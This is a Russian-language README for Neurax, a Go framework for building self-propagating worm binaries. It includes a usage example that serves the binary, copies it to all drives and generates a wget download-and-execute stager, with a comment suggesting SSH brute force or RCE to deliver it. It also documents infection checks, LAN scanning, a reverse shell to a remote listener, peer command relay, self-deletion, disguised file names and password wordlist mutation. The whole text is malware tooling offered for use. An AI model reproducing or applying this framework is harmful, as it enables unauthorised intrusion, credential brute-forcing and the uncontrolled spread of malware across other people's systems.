
Фреймворк для создания самораспространяющихся бинарных файлов
Фреймворк, помогающий в создании самораспространяющегося ПО
С помощью Neurax бинарные файлы Golang могут распространяться по LAN/WAN без использования внешних серверов.
Разнообразные параметры конфигурации и командные стейджеры позволяют быстро распространяться в различных беспроводных средах.
package main
import . "github.com/redcode-labs/Neurax"
func main(){
//Указать порт обслуживания и используемый стейджер
Nrx.Config.Port = 5555
Nrx.Config.Stager = "wget"
//Запустить сервер, который предоставляет текущий бинарный файл в фоновом режиме
go NeuraxServer()
//Скопировать текущий бинарный файл на все логические диски
NeuraxDisks()
//Создать командный стейджер, который должен быть запущен на целевой машине
//Он загрузит, декодирует и выполнит бинарный файл
cmd_stager := NeuraxStager()
/* Теперь вам нужно каким-то образом выполнить команду, сгенерированную выше.
Вы можете использовать SSH-брутфорс, какую-нибудь RCE или что-то ещё ;> */
}
unlinkat(2)N.StagerBg)N.NoInfectCheck для отключения проверки, заражён ли хост уже.NeuraxServer().httrack для LinuxN.StagerRemovalDelay).FastScan, делающая активные сканирования немного быстрееNeuraxScan() принимает функцию обратного вызова вместо канала в качестве аргумента.NeuraxScan() сканирует в бесконечном цикле с возможностью установки интервала между каждым сканированием всей подсети/пула целейNeuraxConfig. стало N. (потому что короче писать)wget + curl).WordlistExpand)Функция NeuraxScan(func(string)) позволяет обнаруживать активные хосты в локальной сети.
Единственный аргумент — это функция обратного вызова, которая вызывается в фоновом режиме для каждого активного хоста.
Хост считается активным, если у него открыт хотя бы 1 порт, он ещё не заражён и удовлетворяет условиям, указанным в N.
NeuraxScan() работает как бесконечный цикл: она сканирует всю подсеть, указанную в записи конфигурации .Cidr, и когда все хосты просканированы, функция засыпает на интервал, заданный в .ScanInterval.
Бинарный файл Neurax не обязательно должен копировать себя по беспроводной сети.
Функция NeuraxDisks() копирует текущий бинарный файл (под не подозрительным именем) на все найденные логические диски.
Скопированный бинарный файл не выполняется, а просто находится в месте назначения в ожидании запуска.
NeuraxDisks() возвращает error, если список дисков не может быть получен или копирование на любой из них невозможно.
Другая функция, NeuraxZIP(num_files int) err, позволяет создать случайно названный zip-архив, содержащий текущий бинарный файл.
Он сохраняется в текущем каталоге и содержит до num_files случайных файлов.
NeuraxZIPSelf() просто упаковывает текущий бинарный файл, создавая архив с тем же именем.
Интерактивная обратная оболочка может быть установлена с помощью NeuraxReverse().
Она будет получать команды от имени хоста, указанного внутри .ReverseListener в форме "<host>:<port>".
Используемый протокол определён в .ReverseProto
Если NeuraxOpenComm() была запущена до вызова этой функции, каждая команда будет вести себя, как описано в разделе выше.
Если нет, команды будут выполняться локально.
Примечание: эту функцию также следует запускать как горутину, чтобы предотвратить блокировку, вызванную бесконечным циклом приёма.
Всякий раз, когда узел получает команду "purge", он пересылает эту команду всем остальным узлам, удаляет себя с хоста и завершает работу.
Это поведение также можно инициировать с помощью NeuraxPurge(), выполненной где-то в исходном коде.
Если выбранный вами вектор распространения основан на каком-либо брутфорсе, полезно подготовить подходящий словарь.
Хранение слов в текстовом файле на стороне клиента не очень эффективно, поэтому вы можете мутировать базовый словарь с помощью NeuraxWordlist(...words) []string.
Для перестановки заданных слов используйте NeuraxWordlistPermute(..words) []string
Если вы хотите, чтобы ваш бинарный файл удалился через заданное время, используйте NeuraxSetTTL() в начале вашего кода.
Эту функцию следует запускать как горутину.
Например:
go NeuraxSetTTL("2m")
заставит бинарный файл выполнить NeuraxPurgeSelf() через 2 минуты после начального выполнения.
Если вы хотите объединить все доступные для данной платформы стейджеры в цепочку, установите .Stager в "chain".
Если вам нужно скопировать бинарный файл после начального выполнения, используйте NeuraxMigrate(path string).
Он скопирует бинарный файл по указанному пути, удалит текущий бинарный файл и выполнит вновь перенесённый.
Если вам нравится этот проект и вы хотите видеть его развитие, пожалуйста, рассмотрите возможность небольшого пожертвования :>
Это программное обеспечение находится под лицензией MIT
| Имя | Описание | Значение по умолчанию |
|---|
| Nrx.Config.Stager | Имя используемого командного стейджера | случайный, совместимый с платформой |
| Nrx.Config.StagerSudo | Если true, командные стейджеры Linux выполняются с повышенными привилегиями | false |
| Nrx.Config.StagerRetry | Количество повторных выполнений командного стейджера | 0 |
| Nrx.Config.StagerRemoveDelay | Инструкция Sleep применяется перед удалением загруженного бинарного файла | true |
| Nrx.Config.Port | Порт для обслуживания | 6741 |
| Nrx.Config.Platform | Целевая платформа | определяется автоматически |
| Nrx.Config.Path | Путь, по которому бинарный файл сохраняется на хосте | . |
| Nrx.Config.FileName | Имя, под которым загруженный бинарный файл будет обслуживаться и затем сохранён | случайное |
| Nrx.Config.Base64 | Кодировать передаваемый бинарный файл в base64 | false |
| Nrx.Config.CommPort | Порт, используемый бинарными файлами для связи друг с другом | 7777 |
| Nrx.Config.CommProto | Протокол для связи между узлами | "udp" |
| Nrx.Config.ReverseListener | Содержит "<host>:<port>" удалённого обработчика обратной оболочки | не указано |
| Nrx.Config.ReverseProto | Протокол для обратного соединения | "udp" |
| Nrx.Config.ScanRequiredPort | NeuraxScan() считает хост активным, только если у него открыт определённый порт | нет |
| Nrx.Config.ScanPassive | NeuraxScan() обнаруживает хосты с помощью пассивного мониторинга ARP-трафика | false |
| Nrx.Config.ScanPassiveTimeout | NeuraxScan() мониторит ARP-слой в течение этого количества секунд | 50 секунд |
| Nrx.Config.ScanPassiveIface | Интерфейс для использования при пассивном сканировании | по умолчанию |
| Nrx.Config.ScanActiveTimeout | NeuraxScan() устанавливает это значение как тайм-аут для сканируемого порта в каждом потоке | 2 секунды |
| Nrx.Config.ScanPassiveAll | NeuraxScan() захватывает пакеты на всех найденных устройствах | false |
| Nrx.Config.ScanPassiveNoArp | Пассивное сканирование не устанавливает строгий фильтр захвата ARP | false |
| Nrx.Config.ScanFirst | Срез, содержащий IP-адреса для первоочередного сканирования | []string{} |
| Nrx.Config.ScanFirstOnly | NeuraxScan() сканирует только хосты, указанные в .ScanFirst | false |
| Nrx.Config.ScanArpCache | NeuraxScan() сначала сканирует хосты, найденные в локальном ARP-кэше. Работает только с активным сканированием | false |
| Nrx.Config.ScanCidr | NeuraxScan() сканирует эту CIDR | локальный IP + "\24" |
| Nrx.Config.ScanActiveThreads | Количество потоков для NeuraxScan() | 10 |
| Nrx.Config.ScanFullRange | NeuraxScan() сканирует все порты целевого хоста, чтобы определить, активен ли он | с 19 по 300 |
| Nrx.Config.ScanInterval | Интервал времени для ожидания перед повторным сканированием всей подсети | "2m" |
| Nrx.Config.ScanHostInterval | Интервал времени для ожидания перед сканированием следующего хоста в активном режиме | "none" |
| Nrx.Config.ScanGatewayFirst | При активном сканировании первым сканируется шлюз | false |
| Nrx.Config.Verbose | Если true, все сообщения об ошибках выводятся в STDOUT | false |
| Nrx.Config.Remove | При возникновении любых ошибок бинарный файл удаляет себя с хоста | false |
| Nrx.Config.PreventReexec | Если true, любая команда, совпадающая с уже полученными ранее, не выполняется | true |
| Nrx.Config.WordlistExpand | NeuraxWordlist() выполняет нестандартные преобразования входных слов | false |
| Nrx.Config.WordlistCommon | Добавить 20 самых распространённых паролей в начало словаря | false |
| Nrx.Config.WordlistCommonNum | Количество используемых распространённых паролей | все |
| Nrx.Config.WordlistCommonCountries | Карта map[string]int, содержащая коды стран и количество используемых паролей | map[string]int |
| Nrx.Config.WordlistMutators | Мутаторы для использования, когда указан .WordlistExpand | {"single_upper", "cyryllic", "encapsule"} |
| Nrx.Config.WordlistPermuteNum | Максимальная длина перестановки, генерируемой NeuraxWordlistPermute() | 2 |
| Nrx.Config.WordlistPermuteSeparator | Символ-разделитель для использования в перестановках | "-" |
| Nrx.Config.WordlistShuffle | Перемешать сгенерированный словарь перед возвратом | false |
| Nrx.Config.AllocNum | Эта запись определяет, сколько раз NeuraxAlloc() выделяет случайную память | 5 |
| Nrx.Config.Blacklist | Срез, содержащий IP-адреса, исключённые из любого типа сканирования | []string{} |
| Nrx.Config.FastHTTP | HTTP-запрос в IsHostInfected() выполняется с использованием библиотеки fasthttp | false |
| Nrx.Config.Debug | Включить отладочные сообщения | false |
| Nrx.Config.NoInfectCheck | Отключить проверку, заражён ли хост | true |